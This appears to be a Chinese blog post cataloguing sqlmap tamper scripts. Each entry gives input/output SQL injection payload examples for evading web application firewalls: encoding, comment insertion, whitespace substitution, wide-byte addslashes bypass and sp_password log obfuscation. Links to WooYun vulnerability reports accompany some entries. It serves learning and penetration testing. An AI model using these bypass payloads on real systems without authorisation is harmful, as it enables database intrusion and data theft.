sqlmap中的tamper脚本来对目标进行更高效的攻击。
由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。
0x01 start
脚本名:apostrophemask.py
作用:用utf8代替引号
1
|
Example: (
"1 AND '1'='1"
) '1
AND
%EF%BC%871%EF%BC%87=%EF%BC%871'
|
Tested against: all
脚本名:equaltolike.py
作用:like 代替等号
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2
3
4
5
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Example:
* Input:
SELECT
*
FROM
users
WHERE
id=1
*
Output
:
SELECT
*
FROM
users
WHERE
id
LIKE
1
|
案例一: http://wooyun.org/bugs/wooyun-2010-087296
案例二: http://wooyun.org/bugs/wooyun-2010-074790
案例三:http://wooyun.org/bugs/wooyun-2010-072489
脚本名:space2dash.py
作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
1
|
Example: (
'1 AND 9227=9227'
)
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
|
Tested against: * MSSQL * SQLite
案例一:http://wooyun.org/bugs/wooyun-2010-062878
脚本名:greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
1
|
Example: (
'1 AND A > B'
)
'1 AND GREATEST(A,B+1)=A'
Tested against: * MySQL 4, 5.0
and
5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
|
脚本名:space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
1
2
3
4
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Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement:
MySQL Tested against:
MySQL 4.0, 5.0
参考:法克的一篇文章
脚本名:apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
1
|
Example: tamper(
"1 AND '1'='1"
) '1
AND
%00%271%00%27=%00%271'
|
Tested against:
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
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2
3
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Example:
(
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
)
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
脚本名:space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符
1
2
3
4
5
|
Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
案例一:91ri一篇文章
脚本名:appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
1
|
Example: (
'1 AND 1=1'
)
'1 AND 1=1%00'
|
Requirement:
- Microsoft Access
脚本名:ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
1
2
3
|
Example:
(
'IFNULL(1, 2)'
)
'IF(ISNULL(1),2,1)'
|
Requirement:
MySQL
SQLite (possibly)
SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
脚本名:space2mssqlblank.py(mssql)
作用:空格替换为其它空符号
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
案例一: wooyun.org/bugs/wooyun-2010-062878
脚本名:base64encode.py
作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all
案例一: http://wooyun.org/bugs/wooyun-2010-060071
案例二: http://wooyun.org/bugs/wooyun-2010-021062
案例三: http://wooyun.org/bugs/wooyun-2010-043229
脚本名:space2mssqlhash.py
作用:替换空格
1
|
Example: (
'1 AND 9227=9227'
)
'1%23%0AAND%23%0A9227=9227'
Requirement: * MSSQL * MySQL
|
脚本名:modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
1
|
Example: (
'1 AND 2>1--'
)
'1 /*!30874AND 2>1*/--'
|
Requirement: * MySQL
Tested against:
- MySQL 5.0
脚本名:space2mysqlblank.py
作用:空格替换其它空白符号(mysql)
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2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
%0Bid%0BFROM%A0users
|
Requirement:
- MySQL
Tested against:
- MySQL 5.1
案例一:wooyun.org/bugs/wooyun-2010-076735
脚本名:between.py
作用:用between替换大于号(>)
1
|
Example: (
'1 AND A > B--'
)
'1 AND A NOT BETWEEN 0 AND B--'
|
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
脚本名:space2mysqldash.py
作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
注:之前有个mssql的 这个是mysql的
1
|
Example: (
'1 AND 9227=9227'
)
'1--%0AAND--%0A9227=9227'
|
Requirement:
MySQL
MSSQL
脚本名:multiplespaces.py
作用:围绕SQL关键字添加多个空格
1
|
Example: (
'1 UNION SELECT foobar'
)
'1 UNION SELECT foobar'
|
Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
脚本名:space2plus.py
作用:用+替换空格
1
|
Example: (
'SELECT id FROM users'
)
'SELECT+id+FROM+users'
Tested against:
all
|
脚本名:bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
1
|
Example: (
'SELECT id FROM users where id = 1'
)
'SELECT%09id FROM users where id LIKE 1'
|
Tested against:
- MySQL 5.1, SGOS
脚本名:nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
1
|
Example: (
'1 UNION SELECT 2--'
)
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
|
脚本名:space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
1
|
Example: (
'SELECT id FROM users'
)
'SELECT%0Did%0DFROM%0Ausers'
|
Tested against: all
脚本名:sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
1
|
Example: (
'1 AND 9227=9227-- '
)
'1 AND 9227=9227-- sp\_password'
Requirement: * MSSQL
|
脚本名:chardoubleencode.py
作用: 双url编码(不处理以编码的)
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3
4
5
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Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
|
脚本名:unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名:charencode.py
作用:url编码
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2
3
4
5
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Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
|
tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:randomcase.py
作用:随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
脚本名:unmagicquotes.py
作用:宽字符绕过 GPC addslashes
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2
3
4
5
|
Example:
* Input: 1′
AND
1=1
*
Output
: 1%bf%27
AND
1=1–%20
|
脚本名:randomcomments.py
作用:用/**/分割sql关键字
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2
3
|
Example:
‘
INSERT
’ becomes ‘
IN
//S//ERT’
|
脚本名:charunicodeencode.py
作用:字符串 unicode 编码
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2
3
4
5
|
Example:
* Input:
SELECT
FIELD%20FROM
TABLE
*
Output
: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
|
Requirement:
ASP
ASP.NET
Tested against:
Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
脚本名:securesphere.py
作用:追加特制的字符串
1
|
Example: (
'1 AND 1=1'
)
"1 AND 1=1 and '0having'='0having'"
|
Tested against: all
脚本名:versionedmorekeywords.py
作用:注释绕过
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2
3
4
5
|
Example:
* Input: 1
UNION
ALL
SELECT
NULL
,
NULL
, CONCAT(
CHAR
(58,122,114,115,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,115,114,121,58))#
*
Output
: 1/*!
UNION
**!
ALL
**!
SELECT
**!
NULL
*/,/*!
NULL
*/,/*!CONCAT*/(/*!
CHAR
*/(58,122,114,115,58),/*!IFNULL*/(
CAST
(/*!
CURRENT_USER
*/()/*!
AS
**!
CHAR
*/),/*!
CHAR
*/(32)),/*!
CHAR
*/(58,115,114,121,58))#
|
Requirement:
- MySQL >= 5.1.13
脚本名:space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
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2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
//id//
FROM
/**/users
|
Tested against:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
脚本名:halfversionedmorekeywords.py
作用:关键字前加注释
1
2
3
4
5
|
Example:
* Input: value’
UNION
ALL
SELECT
CONCAT(
CHAR
(58,107,112,113,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,97,110,121,58)),
NULL
,
NULL
#
AND
‘QDWa’=
'QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='
QDWa
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html